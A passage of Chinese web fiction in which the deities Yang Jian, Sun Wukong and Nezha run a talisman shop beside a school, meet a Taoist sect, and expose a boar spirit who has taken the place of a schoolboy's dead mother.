一进门就看到杨戬坐在桌边看书，腿边趴着他的狗。孙悟空悠闲地躺在椅子上，前后摇着。
几人进门，杨戬放下书，对他们道：“坐。”
宗承望说：“前辈，晚辈今日贸然前来，有两事相求。”
他见杨戬没有露出不乐意的神色，才继续道：“韩师弟上次在这里拿的符纸效果极好，在南东中学还挡住了偷袭，救下他一命，宗某回去与师门商量，希望能把符纸卖与我们。”
“好。”杨戬看向韩全，“多谢。”
韩全立刻摆摆手，略有讪讪，“我也没有宣传。”
计明秀吐槽道：“他没藏着掖着就算好的了，我这里这个还是我跟他求来的呢。”
还剩的那一个后来他给了于飞白，于飞白今日还有事，没能与他们一起来。
“不过现在大家都知道前辈你们这里的东西好用了以后会有更多的玄门弟子来光顾生意的。”
哪吒立刻道：“那你们得告诉他们，我们店马上就要搬到南东中学旁边了，让他们不要找错地方了。”
计明秀楞了一下，很快点头，“好。”
宗承望说：“恭喜。”
他又接着说第二件事：“晚辈的师父们……想请三位上门一叙。”他解释道：“师父他老人家害怕贸然上门会打扰到你们，所以特派我们来相请，倘若三位觉得为难不想去，也没……”关系。
哪吒兴冲冲地打断他：“好啊！”
“你们是不是住在山上？”他扭头问宗承望。
宗承望：“……算是。”
哪吒对杨戬提出建议：“二哥，我们去看看吧。”
杨戬点头：“好。”
哪吒过去推了推孙悟空：“大哥，大哥！”
孙悟空坐起来：“没睡着，没睡着，听着呢。”
宗承望他们开了一辆七座的商务车，杨戬还顺手将哮天犬带上。
上车的时候，韩全落在最后一个，他对哮天犬恭敬道：“狗哥，您先请。”
不知道为什么，他对这条狗就是有种莫名其妙的畏惧之感。
车一路行驶，过了繁华的街区，果真向山里驶去。
哪吒在车上便开始好奇，「二哥，你说这些凡间的老头子为什么想见我们？」
杨戬沉吟：「兴许是得了仙缘了。」
孙悟空插进来：「哪有那么快。」
至少也要等上些时日，天上的神仙办事也不是那么利索的。
「那就不知道了。」
哪吒说：「这些凡人可聪明着呢。」
孙悟空也同意，「或许真的是为了“仙缘”。」
和他们扯上关系，可不就是结下仙缘了吗。
宗承望的师门果真是在山上，不过不是那么高大就是了。
孙悟空下了车，远望着山下的风景，露出怀念的神色。哪吒站在他旁边用肩膀推了推他，他低头看哪吒。
“大圣是不是想起了曾经在花果山的岁月？”哪吒小声问他。
孙悟空眯眼，答非所问：“如今的山不如那个时候绿了。”
哪吒淡淡道。“时代不同了嘛。”
人类的发展如此迅速，就连神仙也不得不佩服他们的智慧。
“也许真正落后的是我们。”
孙悟空还没来得及接话，那边韩全就在招呼他们了，“两位，这边走。”
宗承望带着杨戬走在最前面，孙悟空和哪吒跟上了他们的脚步。
虽说在山上，宗承望的师门却很是大气，三清观三个大字龙飞凤舞，挂于大门之上，韩全领着他们穿过了前院，一路上遇到的弟子都喊他“大师兄”，看得出来宗承望在门派里很受一众师弟师妹的尊重。
过了前院，就是三清观接待客人的大厅，大厅门口站着几个年纪看起来很大的老头子，中间的那一个穿一身西装，看起来很正式，见到宗承望领着杨戬他们到来，连忙走上去，他旁边的其他人也跟上了他的脚步。
“前……前辈！”三清观的观主叫马华茂，他很是激动，竟一时不知道该如何称呼他们三人，对着他们就行了一个很大的礼。
宗承望、计明秀和韩全连忙避开了，杨戬三人稳稳当当地受了他的礼。
韩全盯着哪吒看，见他脸上也是理所应当的神情，他扯了扯计明秀的袖子，小声问道：“这下是真的遇到大佬了。”
他声音很小，哪吒却向他看过来，还对他露出一个笑容。
韩全也心虚地笑，计明秀挪了两步，让自己离韩全远一些。
后面一群人也照着马华茂的样子行了礼。
杨戬对他们点点头：“诸位不必如此客气。”
一众人又连忙要将他们请进屋，“三位里面请。”
进了厅，气氛更是冷凝，谁也不敢坐到主位上去，还是孙悟空先挑了个位置坐下，杨戬和哪吒一左一右坐在了他旁边。
孙悟空拿了个桃，在手里掂了掂，“你们还怪客气的。”
其他人也一一坐在，韩全和计明秀坐在了各自的师父旁边。
“应该的。”宗承望说，“我去将茶上上来。”
马华茂坐在主位，略带歉意道：“今日请三位来实属唐突之举，但我等小辈实在是等不及想见一见三位前辈了。”
杨戬点了点头，“无碍。”
孙悟空和哪吒又传音上了。
哪吒很是不解：「人间的灵气竟然已经凋敝至此了吗？这些人的寿命也不比普通人长多少。」
孙悟空吃着桃，目光已经将屋子里的每一个人扫过，「天地万物，一切生灵都有灵气，但如今的人间界众多领地都被人类占领，哪里还有其他生灵争抢的余地？」自然也就没有那么多灵气了。
这是人类迅速发展的代价。
「现如今人间界的众人也没多少人相信神仙的存在，要修仙还需要有信众，他们这些人要想修行到成仙，几乎是不可能的。」杨戬说。
哪吒说：「但现在不一样了。」
马华茂说：“前几夜我们皆有所梦。”
杨戬点头，问他们：“可有心得？”
听他一问，各个派别的掌门人都露出激动的神色，韩全的师父最先说：“略有心得！”
他一觉起来便觉得自己灵台清明，身体仿佛也年轻了一些。
其他人纷纷回应。
杨戬点头，说：“往后会有越来越多的机会。”
品过了杨戬的话，马华茂激动得站了起来，“前辈的意思是……”
“好好！”他颤抖着手，“我就知道……我就知道我能等到。”
他的师父在去世前告诉他，一定要坚信这个世界上神仙的存在，等到仙界与人间界的联系再次建立起来的时候，他们这一代人会有更多的机会。
马华茂的师父没有等到这个机会，马华茂本以为自己也等不到了，却不想皇天不负有心人，他终于还是等到了。
其他人也露出激动的神情来。
“那……”有一个掌门人问，“以后
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我们是不是可以借法了？”
借神仙之法，已经许多年没有人借到过了。
宗承望此时领着师弟师妹进来上茶，杨戬喝了一口，说：“自然可以。”
至于借谁的法，便要看修者自己的信奉了。
那个问话的掌门人激动道：“太好了，太好了，以后我可以借三太子的法了。”
在场的众人：“……”
大家对杨戬三人的身份都是心照不宣的，此刻目光都忍不住集中到哪吒的身上。
哪吒：“……”借……借呗！他又不是不给！
“可以。”他闷闷道。
好像他多小气似的。
其他人此时便露出了羡慕的神情。
孙悟空笑道：「想不到小藕片儿在人间界还有如此德高望重的信众。」
杨戬看着屋子里的众人，说：“杨某也有两件事想请各位帮忙。”
大家连忙道：“您说您说。”
他看着马华茂，“第一件事，是想麻烦观主您，替杨某收一个徒弟。”
哪吒和孙悟空对视一眼。
「二哥竟然是打的这个主意。」他是打算把叶青竹放在三清观名下修行。
孙悟空摸了摸下巴，「杨小二这个办法还挺好的。」
如今仙界与人间界重连，叶青竹飞升的可能性几乎是百分之百，只是需要一个契机。
杨戬三人是不愿意再在人间界多一份因果的，但是他们也希望用更平和的方式解决叶星的问题。
三清观是如今人间界最大的玄门门派，叶青竹在这里也会有许多的修行机会，往后还可以多出去历练，比跟着杨戬三人好得多。
马华茂想也不想道：“当然可以。”
杨戬点了点头，“多谢。”
“第二件事，”他接着说，“就要麻烦在座的各位了。倘若以后各位察觉到不曾知晓的灵气，先告知我们三人。”
“好！”
………
从三清观回杂货店的第三天，叶星再次找上了门。
来者不善。
锋利的爪子破风而来，杨戬彼时正在喝茶，不过是一瞬间的事情，他将自己的茶杯放下，身子往后一仰，躲开了。
孙悟空金箍握于手中，腿先伸了出去，却踢了个空。
门边，叶星负手而立。
“青竹已经在三清观拜师了。”
杨戬和孙悟空对视一眼，没有动。
叶星却笑得从容，“不过是试探一番，不必这么如临大敌吧？”
杨戬道：“前辈的试探令杨某措手不及。”
“二郎显圣真君，仙界如此厉害的人物，齐天大圣美猴王，三界如此有名的人物，能交锋一二，也是我的福气。”
孙悟空：“……”受不了，但是没办法。
杨戬：“前辈谬赞。”
叶星不接话，倒是回头又看了一眼外面，今夜无月，积雪未化，白茫茫的一片，似他来时路。
他昨日将叶青竹送去学校，一如往常般告诉她要照顾好自己。青竹聪慧，说得多了，必然会发觉异常。
他对杨戬二人道：“那我便回去了罢。”
他很迅速地幻化出自己原形，深棕色的毛，白色的耳，宽厚的背，已经是缩小过的身形，却还是几乎占了整个屋子的一半，因为太高，所以不得不低头看着杨戬二人。
孙悟空和杨戬看着他，这便是凶兽狌狌了。
杨戬自手中幻化出书来，“前辈，请。”
“阿父！”
叶星以为自己是幻听。
“阿父。”叶青竹的声音当真从外面传来。
“你要回家了吗？”她问。
叶青竹和哪吒一齐站在门外，她没有哭，只是说：“阿父，我会来找你的。”
叶星一次也没有回头。
13.駮
隆冬，大雪日，南东中学校门口却热闹非凡。
杂货店装修好开业这日恰是周末，徐嘉凡几人各带着花篮来庆祝开业。
哪吒站在门口，今日衣服换了有厚度的夹克，依然穿一双短靴，他和孙悟空在门口各站一边，此刻正迎着宗承望一行人。
叶青竹和宗承望一行一起来的。
宗承望似乎并不想在他们两人的注视下进门，抓过后面弟子手中的花篮就要去摆放。
“我们先将花篮摆好，你们先忙。”
身后的弟子不懂，宗承望可不想从他俩中间过去，怕折寿。
哪吒不解，问孙悟空：“他怕我们啊？”
孙悟空摆摆手，说：“我看是怕你。”
“我？”哪吒抬手指着自己，更为不解。
叶青竹哭笑不得，替宗承望解释：“师兄不是怕你们。”
“他……”其实她也没想好怎么解释，但这时正好林陌桑放下花篮过来了，“青竹！”
林陌桑高兴地挽着叶青竹的手。
其他几人也跟上来，吕淼淼和徐嘉凡一起，仲秋身后跟着红原，徐嘉凡巴不得离他俩一米远。
令哪吒没想到的是卫薇竟然也来了。
卫薇脸上的伤疤全消了，她长得很美，温婉的眉，灵动的眼，皮肤白皙，鼻梁高挺，一出现就吸引了所有人的目光。
她站在孙悟空和哪吒面前，轻声道：“谢谢。”
孙悟空双眼望天，嘴里吹着口哨，作不知状。
哪吒挠了挠脸，干巴巴道：“不用谢。”
他们也没问过卫薇的意见，就自作主张将卫薇脸上的疤消去了。
但是那时月色朦胧，杨戬双手抱胸，说：“女子行于世间，本就艰苦，不必再让她徒增这许多烦恼。”
孙悟空也笑说：“这女施主的人生还美好得很。”
“再说，那也不是她的错。”
他们给卫薇编织了一个美梦，让她与过往告别。
卫薇事问叶青竹，他们都清楚，能做到的也只有他们三人了。
杨戬在屋内，今日客人繁多，不仅有玄学界众多弟子，还有因为林家的关系而来捧场的众多富豪。
杨戬刚给一位大腹便便的富商介绍完平安符，坐在柜台边等他付钱。
韩全带了好几个师弟来，在他们面前大谈那日在地底杨戬给他的符纸起了多大了作用，“反正，你们买去要是没用，我负全责！”
计明秀调侃他：“那要不你买来送我们呗。”
韩全说：“我也想送。”随即一摊手，“可我没钱啊。”
林陌桑走进来，刚好听到他们两个的对话，接过话头，“我送你们。”
计明秀和韩全几人连忙拒绝，“不用不用，我们开玩笑的。”
宗承望带着人进来说：“那不如大家今日都选个平安符，我送大家吧。”
这下韩全一行人可高兴了，连忙去拿符纸。
店里很是热闹了一阵。
等到了下午，店里的人少了许多，林陌桑和叶青竹从茶室里出来，看到一个人在门口徘徊不前，林陌桑诧异道：“那不是骆环吗？”
叶青竹也难得地流露出一丝惊讶的神色来。
她们两人正要出门看看怎么回事，门口的骆环也看到了她们，一扭头就跑了，只留下一串脚印。
林陌桑无语道：“倒也不用这么避如蛇蝎吧。”
叶青竹安慰她：“也可能是心虚。”
她们将桃子拿给柜台边的杨戬，“李二哥，这是李大哥让我们给你的桃子。”
杨戬接过桃子，“谢谢。”又问她们：“你们认识刚刚那个小朋友。”
林陌桑点头：“我们两家算是世交。”
想到骆环，她又撇了撇嘴，“他怪得很。”
杨戬笑了一下，林陌桑又露出一副心被融化的样子，“李二哥，你要是进娱乐圈，得迷死多少少女啊。”
杨戬不懂什么叫娱乐圈，却还是露出礼貌的笑容。但是叶青竹可是清楚杨戬的身份的，她连忙抓住林陌桑，“走了桑桑，我们去问问徐嘉凡知不知道骆环来这里。”
“哦对对对！”林陌桑拉着叶青竹又进了茶室。
杨戬若有所思地想着骆环进店问他的那个问题，“你好，我想问一下你们这里有没有那种可以让人现出原型的法器？”
杨戬抬头看他，是个高瘦的学生，眉目之间都是桀骜不驯的气息，问话的时候却一点都没有底气。
杨戬于是问他：“你遇到什么怪事了吗？”
骆环摇
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头：“没……没有。”
“那就是你家里人遇到怪事了。”
骆环这下否定得更厉害了，他连连摇头，还一边后退着说道：“不是，不是！”
还没等杨戬问他怎么回事，他就跑了。
而此时林陌桑也正在和徐嘉凡几人吐槽敖环，“骆环他跟有病一样，生怕沾染上一点封建迷信，平时谁要是在他面前谈上一丁点儿的鬼怪妖精，他都会炸毛，今天真是奇了怪了，在门口走来走去，一副想进不敢进的样子，不知道的还以为他被鬼附身了呢。”
徐嘉凡挠了挠头，说：“按理说他今天不是应该在学吉他吗？怎么还有空跑这里来？”
林陌桑点点头：“好像是啊。”随即她又想到什么，说：“他爸妈这段时间好像都在国外，可能好孩子当惯了，突然想叛逆一下吧。”
她又忍不住问林青竹，“青竹，他没被什么脏东西附身吧？”
吕淼淼提醒她：“什么脏东西敢来这里啊？”
她话音刚落，众人目光就落在了旁边大吃大喝的红原身上，仲秋还不解：“你们看他干嘛？”
林陌桑怜爱地看了他一眼，“傻孩子。”
徐嘉凡又说回骆环，“不过我觉得他也是被他爸压狠了吧。”
说到骆环他爸，林陌桑都忍不住打了个寒噤，“他爸那个样子，谁不怕。”
哪吒这下可好奇了，“他爸怎么了？”
“他爸打他可不留情面了，也不管是不是有人在，提起棍子就揍，要不是有人拦着，可能真的会把他揍死。”林陌桑说着又不禁同情起骆环来。
“而且他爸本身就是个无神论者。”徐嘉凡接话，“有钱人都挺信鬼神的，但是骆环他们家不仅从来不供奉什么关公财神，连提都不能在他们面前提。”所以骆环也不准别人在他面前说什么封建迷信的东西。
林陌桑说：“不过骆环他自己也挺烦人的，一天天的就一副谁也看不起的样子，虽然他学习是很好，但是我就是看不惯他那一副高人一等的样子。”
“跟谁都是他仆人一样。”
林陌桑总结：“反正他眼里就没有朋友，只有仆人。”
哪吒兴致缺缺，“哦。”
这个世界上的怪人多了去了，这个人也没什么值得他关注的。
14.駮
骆环自然也没再问他在哪里听说过他，想想也知道不是什么好话。
要说他最大的优点，就是很有自知之明，他很清楚自己在别人眼里是一个什么样的人——他们看不起他，却又不得不屈服于他的家世。
即便他成绩优异，他们也只记得他在骆家是什么样的地位，或许很多人都在等着骆骄彻底厌弃他的那一天，然后对他落井下石。
所以他也平等地看不起每一个人，这样，他心里就不会对任何人抱有期待了。
……………
周五这天，哪吒走得比平常都晚，等他慢吞吞地从教室里出来，刚好碰到了徐嘉凡。
徐嘉凡看到他，面露好奇，“哪吒？你怎么还没回家？”
哪吒也没想到这个时候了还会遇到徐嘉凡，“我有点事。”他看着徐嘉凡还要往教室去，又问他：“你怎么也还不回去？”
徐嘉凡立刻支支吾吾：“我……我也有点事。”
心虚的两人一齐挪开目光，然后互道再见。
走出校门，哪吒左右看了看，没看到骆环，他皱了皱眉，还以为自己被耍了。身后突然有人拍了拍他的肩膀，他一回头就看到骆环。
骆环还问他：“你怎么这么慢？”
哪吒退后一步，撇嘴无语道：“不是你叫我别被别人看到吗？”
骆环挠了挠头：“哦……”
他们两人沿着学校的墙走了好一段时间，哪吒终于忍不住了，问他：“我们不是去你家吗？你家司机呢？”
骆环没什么底气地回道：“我今天给我们家里的佣人全都放假了。”包括司机。
哪吒：“……那你打个车吧。”
骆环问他：“你不是会法术吗？你不能那样那样就把我带回家了吗？”他一边说一边比划着手势。
哪吒像看智障一样看着他：“我又不知道你家在哪儿。”
骆环：“……”拿出手机打车。
骆环家离学校不远，是帝都最好的别墅区，林陌桑家也住这里。
车只停在别墅区门口，骆环下车，左右看了看，确定周围没有什么认识的人，这才叫哪吒下了车。
哪吒跟着他走在小区里，一边环视着周围款式别致的房子，一边在心里嘀咕，等他回了仙界，他要把自己的府邸也变得这么好看。
跟这里比起来，仙界也太落伍了。
“哪吒！”
骆环比他反应还大，连忙弹射着远离了他。
林陌桑从远处跑过来，等到看清哪吒旁边的人，高兴的神情一下子变成了惊讶。
“你们？”
“我不认识他。”
“他邀请我去他家做客。”
两人同时开口。
林陌桑感觉自己头顶一群乌鸦飞过。
“带我一起呗。”
哪吒看骆环，骆环认命道：“行。”
另一边，徐嘉凡背着书包从学校出来，一眼就看到了站在学校门口的杨戬和孙悟空。
他迎着两人的眼神走过去，“李大哥，李二哥。”
孙悟空问他：“哪吒没有和你一起？”
徐嘉凡不明所以：“他不是早就回家了吗？”
孙悟空和杨戬对视一眼，「小藕片儿果然撒谎了。」
杨戬对徐嘉凡说：“他一直没有回家，我们很担心。”
说担心，是真的，也是假的。
凭哪吒的本事，他们倒也不怕他在人间界吃亏；只是如今大荒异兽落入人间界，如果他们没有主动暴露自己，那他们三个也很难找到，但是他们三个却是完全暴露在他们的眼中的，就怕哪吒一个人对上他们中的一个。
徐嘉凡“啊？”一声，掏出手机挨个问叶青竹他们几人，叶青竹、吕淼淼和仲秋都回了消息，只有林陌桑没有回。
“桑桑一直没回我，我给她打个电话吧。”
杨戬想了一下，说，“不用了。”
他问徐嘉凡：“你和林陌桑住同一个小区的吧？带我们去一趟可以吗？”
徐嘉凡点头：“可以啊。”
而林陌桑一直等到了骆环家门口才看到徐嘉凡的消息，她想了想，还是问哪吒：“徐嘉凡在问我你在哪里，我要告诉他吗？”
哪吒眼皮一跳，都不用想就明白过来，肯定不是徐嘉凡问的。
他叹一口气，就知道不能和那两人撒谎，一下子就被戳破了。
“实话实说吧。”
徐嘉凡看着林陌桑回过来的消息，惊讶地看着杨戬，“他们真的在一起。”
“不过……不是在桑桑家。”
听出了徐嘉凡语气里的郁闷，孙悟空问：“那在哪里？”
徐嘉凡叹气，“在我们另一个同学家。”
哪吒跟着骆环在他家上下转了一圈，什么也没看出来。
林陌桑更是不解，问骆环：“你到底想干嘛？”
骆环每一回答她的话，而是紧紧的盯着哪吒。
此刻他们三人坐在骆家的大厅里，灯光明亮，屋子里却莫名地翻腾着凉意，林陌桑缩了缩脖子，“你家不开暖气啊？”
骆环反应了一下，连忙去开了暖气，“家里没人，就都关了。”他是对哪吒解释的。
哪吒还在四处打量着屋子里的一切，从头顶的灯到他们坐着的沙发，一样也没放过。
“你们家很正常。”哪吒得出结论。
骆环似乎是不可置信地瞪大了眼睛，“你确定吗？”
哪吒皱眉，“那你还有没有什么没和我说的？”
“我……”
门口不适时地响起了敲门声，骆环蹭一下站起来，面露紧张的神色。
林陌桑看了一眼手机，说：“徐嘉凡他们来了。”
骆环：“他们？”
哪吒起身去开门，“还有我大哥和二哥。”
门打开，骆环就看见徐嘉凡身后站着的两个男人，这么冷的天，他们一个只穿了卫衣，一个穿一件大衣，仿佛根本感觉不到外面的温度。
骆环的目光定在穿大衣的杨戬身上片刻，又移开目光，没忍住对旁边的林陌桑说：“李哪吒他哥哥，真好看。”
林陌桑也难得地没有呛他，同意道：“对啊。”
杨戬的好看，不是那种带有攻击性的，让人防备的，而是在深觉他好看的同时又给人心安的感觉。
孙悟空进门先给了哪吒一个大大的脑瓜崩儿，哪吒默不作声地受了。
杨戬轻笑一声，越过他进了屋。
一群人坐下，骆环跑前跑后地泡了茶来。
他坐在杨戬对面，莫名有些心虚。
但杨戬却一句话没说，只是认真听着哪吒的话。
等听清楚了始末，徐嘉凡忍不住开口：“骆少爷，你不是不相信这些封建迷信吗？”
骆环冷声道：“我想信就信，不想信就不信。”
杨戬问了一个和哪吒一样的问题：“你还有什么要说的吗？”
骆环
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的眼神来回在林陌桑和徐嘉凡身上打转，似乎在暗示着什么。但那两人却一副看不懂他眼神的样子，坐在沙发上一动不动。
孙悟空提醒他：“你要再不说我们就走了。”
林陌桑无奈道：“我们不会说出去的。”
骆环想了想，说：“我父亲最讨厌的就是封建迷信。”
哪吒说：“我们知道。”
“他也很讨厌我。”
没人说话。
“我从小就知道他不喜欢我。”骆环接着说，“但我妈妈很爱我。”
骆环在这个世界上得到的所有爱都来自于他的妈妈。他被忽略的时候，是他的妈妈看到他的不知所措；他做得好的时候，是他的妈妈最先夸奖他；他达不到父亲的要求的时候，是他的妈妈鼓励他。
他的妈妈爱他，但是她从来不会为他反抗他的父亲。
那些被锁在小黑屋的日日夜夜，他渴望着有个人来解救他，但是没有。
他也因为这个事情怀疑过她对自己的爱，但是每一次都在她声泪俱下的请求中歇了心思。
她只是一个夹在丈夫和儿子中间左右为难的可怜女人而已。
骆环总是记得她抱着自己，说：“我的小环，快点长大吧，长大就好了。”
他的心就这样浸泡在父亲的不爱与母亲的爱中。
但他也知道，他没能得到母亲全部的爱。
但是有就够了，有这点爱，他就不是全世界最可怜的人。
骆环最先觉得他妈妈变了是在三个月前，那是暑假，她照例陪骆骄去国外出差，回来的时候照例给他带了礼物。
一切都和往常没有什么区别，直到饭桌上骆骄问起他最近学习乐器的情况，他妈妈江余心罕见地为他说了话，“饭桌上，不谈这些。”
骆骄睨她，她就眨眨眼表示无辜，但最终，骆骄竟然没有继续问下去。
如果只发生这一次，骆环也不过觉得是一个偶然事件，但是这样的事情越来越经常发生，江余心总是在不经意间就为他化解了骆骄对他的严厉。
甚至在他被关小黑屋的时候第一次给他送了吃的，骆环问她哪里来的钥匙，她也只是神秘地笑笑。
他是个十几岁的孩子，却对自己的母亲无比熟悉。
眼前的这个女人裹着他母亲的皮囊，让他觉得陌生，更多的还有担心：如果这个人不是他的母亲，那他真正的母亲去哪里了呢？
直到某一天他因为失眠起得太早，隔着走廊看到了杂货间里露出来的那个人影，明明身体是人的形状，头却仿佛是异兽。
林陌桑忍不住问他：“你看清楚了吗？”
骆环抿唇，说：“我不只看到过一次。”
杨戬和哪吒、孙悟空对视一眼，“哮天。”
不知道从哪里窜出来的哮天犬，几步就跑上了楼，只留下细白的身影给林陌桑几人。
不一会儿，哮天犬从楼上下来，嘴里衔着一条白色的布。
杨戬从他嘴里拿出布，“妖气。”
很淡，淡得甚至不知道是什么妖，如果没有哮天犬，他们很难发现。
“只有这个？”孙悟空摸了摸哮天犬的狗头，问他。
哮天犬汪汪两声，表示自己只找到这个。
哪吒皱眉，“是大妖啊。”
杨戬说：“或许吧。”能把自己痕迹抹掉的妖，确实很厉害。
骆环听着他们的对话，心里一沉，“她是妖怪的话，那我妈妈呢？”
15.駮
杨戬三人最终也没能给骆环一个答案。
他们让骆环等，等到那个妖从国外回来，就能知道答案了。
骆环抿着唇点头，心中一片迷茫。
一切结束，杨戬将他们几人在家中留下的气息抹去。
回到杂货店，哪吒先忍不住问道：“二哥，真的只是妖吗？”
杨戬瞟他一眼，“不然呢？”
哪吒被他看得脖子一缩，讪讪地摸了摸鼻子，不说话了。
孙悟空躺在椅子上，晃悠着椅子，手里拿着不知道从哪里来的一瓶饮料，咂了一口，扭头问哪吒：“小藕片儿，你为什么要撒谎？”
哪吒给他们说的是要去徐嘉凡家做客，所以不回家了。
杨戬慢悠悠地提醒他道：“你用的传音术。”
如果真的是去徐嘉凡家做客，哪吒一定会用徐嘉凡的手机给他打电话。
哪吒心虚地四处乱看，果然他不适合做坏孩子。只能打哈哈道：“是那个小子不让我告诉别人的。”
“别人？”孙悟空嘿嘿笑两声，眼珠子一转，对杨戬道：“杨小二，我们也是别人喽。”
杨戬一瞥哪吒，“看来我们担心错了。”
明明知道这两人是拿他打趣，哪吒还是急得在屋子里打转，“我不是那个意思！”
孙悟空问他：“那你是什么意思，嗯？”
“我……我想自己赚钱。”哪吒越说越小声。
这话让杨戬皱眉了，他问：“没钱了？”
“不是。”哪吒叹气，不得不实话实说：“我想买个自己的手机。”
他小声嘀咕：“我们班同学老问我的联系方式，我都没有。”
他的话让杨戬哑然，“是我没考虑周到。”
孙悟空一听，立刻追加：“我也要。”
他们如今在人间界也有了自己的生意，三个人平时也不需要其他的花销，钱握在杨戬手里也并没有用过，谁想拿去买点什么完全没问题，只是哪吒不愿意特意提这个事情，弄得他好像是个没什么主见的孩子，他又不是不能靠自己赚到钱。
因为不需要用钱，杨戬也没有考虑钱的分法，只是每周哪吒去读书需要生活费，会拿钱。
哪吒和孙悟空也不是需要他管束的孩子，所以杨戬说：“钱都在柜子里，要用的时候你们自己拿就行了。”
孙悟空笑道：“买个手机就行了，我看人间界的这些大人孩子都有，应当是很好玩的。”
杨戬手里是有一个手机的，他倒是没发觉有什么好玩的。
于是哪吒又拥有了手机（等等我为什么要说又？）
等到再去学校的时候，他终于和同学们分享了自己的联系方式，成功和班上每一个同学加上了微信，并且进入了林陌桑他们的小群。
桑桑：欢迎哪吒(￣O￣)ノ
大威天龙注定不凡：欢迎！[微信红包]
小六喝水：欢迎哪吒！谢谢嘉凡。
叶青竹：欢迎哪吒！
秋天不回来：好耶！捉妖小队集齐！
其他人：……
哪吒：大家以后找我记得打我电话。
骆环不知道从哪里听说可以加到哪吒的联系方式，下午的时候到他们班门口，往那儿一站，周围的同学都直接绕开他走，他却浑不在意，大剌剌站在那里，头往里面一伸，喊道：“李哪吒，出来一下。”
哪吒起身，仲秋一把拉住他：“你什么时候得罪这个少爷了？”
哪吒疑惑：“没有啊。”
“那他……”没等仲秋说完，哪吒已经挣开他走了出去。
骆环把他拉到楼梯间，掏出自己的手机，“加个微信。”
哪吒也慢吞吞拿出手机：“哦。”
微信群里此时正好弹出仲秋的消息。
秋天不回来：不好了！骆二逼把哪吒抓走了！
骆环缓缓念出这条消息，抬头看哪吒，发现他正在看自己身后，他跟着哪吒的视线一转头，正好对上仲秋那双假装无辜的眼睛。
仲秋：“嗨。”
骆环冷笑一声，加上了哪吒的微信，然后走到仲秋面前，命令他：“你，把我拉进群。”
仲秋后退一步，做不解状：“
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什么群？”
骆环：“捉妖小队。”
仲秋见糊弄不过，只能把求救的目光投向哪吒，哪吒在手机上划拉了几下，“行了，拉你进去了。”
骆环满意地走了，留下仲秋在原地欲哭无泪地看着哪吒：“为什么要拉他进群啊？”
哪吒说：“因为，他需要捉妖。”
仲秋：“啊？”
这一周的周五早上是家长会，骆环把江余心从国外骗了回来给他参加家长会。
他的成绩一向很稳定，年级第一，老师照例是夸奖，周围的家长也向江余心投来羡慕的目光。
江余心一脸骄傲地看着骆环。
骆环的脸色也柔和下来，心里却不是滋味。
他从来没有在他妈妈脸上看到过这样为他骄傲的神色，纵然她高兴于他的优秀，但是眼底却总是有化不开的忧愁，她希望骆环优秀，却又期望他能更优秀。
家长会结束，骆环带着江余心往校门口走去，却在“不经意间”遇上了同样是来给哪吒开家长会的杨戬。
哪吒于是邀请骆环去家里坐坐。
杨戬也柔柔地笑着看向江余心。
江余心面色一红，结结巴巴道：“好久没见我们家小环交新朋友了，那就去坐坐吧。”
杨戬和江余心走在前面，骆环和哪吒跟在后面，走到校门口，没想到林陌桑他们几人也在等着。
江余心是认识林陌桑的，林陌桑和她打招呼：“阿姨，我们也去哪吒家玩儿呢。”
江余心顿时惊喜道：“哎哟，小环交这么多朋友了？有空去我们家玩。”
“好。”林陌桑笑得乖巧。
等走得近了，江余心看到店面的招牌名字，“第一杂货店？”
杨戬解释：“卖点小东西。”
江余心并未发觉异常，点点头跟着杨戬继续走。
等进了店里，她才发觉出不对劲来，这店里卖的东西对她可不太友好。她后退两步，身后的门已经被叶青竹“嘭”一声关上。
孙悟空从茶室走出来，跟她打招呼：“你好，小……野猪？”
16.駮
屋子里的所有目光齐刷刷地看向江余心，骆环的眼神里满是震惊。
江余心怔愣片刻，也回过味来，扭头瞪骆环。
“我把你当儿子，你对我耍把戏？”
骆环脸色一白，后退一步，不服气道：“你是个妖怪，你还把我妈杀了！”
江余心简直被他这个脑回路给震惊到傻了，“谁把你妈杀了啊？”
骆环想到这段时间她对自己的所作所为，心里底气不足：“不是你吗？”
“你妈那是自己出车祸死的，我怕你接受不了，好心好意来帮你，你联合这么多人想害我？”江余心指着屋子里的一堆人，尤其是货架上的那些捉妖降鬼的东西，手指头都在颤抖，“骆环，你有没有良心？老娘对你还不够好吗？”
骆环瞪大双眼，不可置信地问道：“你说什么？我妈出车祸死了？”
杨戬和孙悟空对视一眼，说：“去屋子里说吧。”
林陌桑看了看骆环的脸色，想了想跟哪吒说道：“哪吒，我们先回去了。”
哪吒点了点头，于是他们一行人就先走了。
孙悟空站在茶室门边，对骆环两人说：“进来说吧。”
等在茶室坐定，江余心喝了一口茶，才堪堪从方才的不解、怒意中回过神来，她看骆环还是一副回不过神的样子，终究还是不忍道：“你别难过……还有我呢。”
这安慰太过苍白了，骆环回头看着她，紧紧地抿着唇，眼里明明有泪水在打转，却始终没有让它流下来。
“对不起。”江余心伸手想摸摸他的头，抬到一半，还是放下了。
骆环张了张嘴，声音嘶哑地问道：“我妈，她在哪里出的车祸？”
“国外。”
“是人……”
“不是，就是一场意外。”
“那我爸？”
“他不知道。”
哪吒皱眉，不解地问：“那你为什么会变成他妈妈的？”
江余心垂眸解释道：“虽然说起来你们可能不信，但是当时我正在国外度假，我在医院见到了她的灵魂，她请求我照顾她的孩子。”
哪吒更不解了：“你就答应了？”
杨戬问她：“能说说为什么吗？”
江余心扫视了一下他们三个，在心里估量了一下不说的后果，还是认命地说出了真相：“她跟我说起骆环的时候，让我想起了我自己的孩子。”
野猪精并不是一生下来就修炼成人的，在神智未开的那些年，她也生过一堆小野猪，那还是好几百年前的事情了，那会儿还没有什么野生动物保护法，所以有很多农户上山打猎，她的孩子就这样被人猎走了，一个都没留下，他们都还太小了，躲不开人类的陷阱。
她也受过伤，但是她跑得快，还阴差阳错在山洞里吸收了灵气，修炼成人。
妖怪是这样的，纵然是几百年前的记忆，也总还记得一清二楚，她总是会想起自己的那堆小猪仔，调皮，不听话，但是在她眼里却无比地可爱。
江余心眼中的骆环也是，背负着太多期望，却也只是一个孩子而已。
“如果我有孩子的话，我一定会对他很好的。”野猪精说道。
骆环低声问她：“真的是她拜托你照顾我的？”
野猪精点头：“真的。”
骆环于是不说话了。
杨戬盯着野猪精的眼睛，问她：“你不怕骆环的父亲发现吗？”
野猪精挪开目光：“江余心说他不会发现的，而且我已经尽量减少和他的接触了。”
另一边的孙悟空也直直地盯着她，她抬手指着骆环：“不信你们问他。”
骆环舔了舔干裂的嘴唇，点头：“她现在几乎很少和我爸在一起。”
对面的三人点头，也不知道信没信。
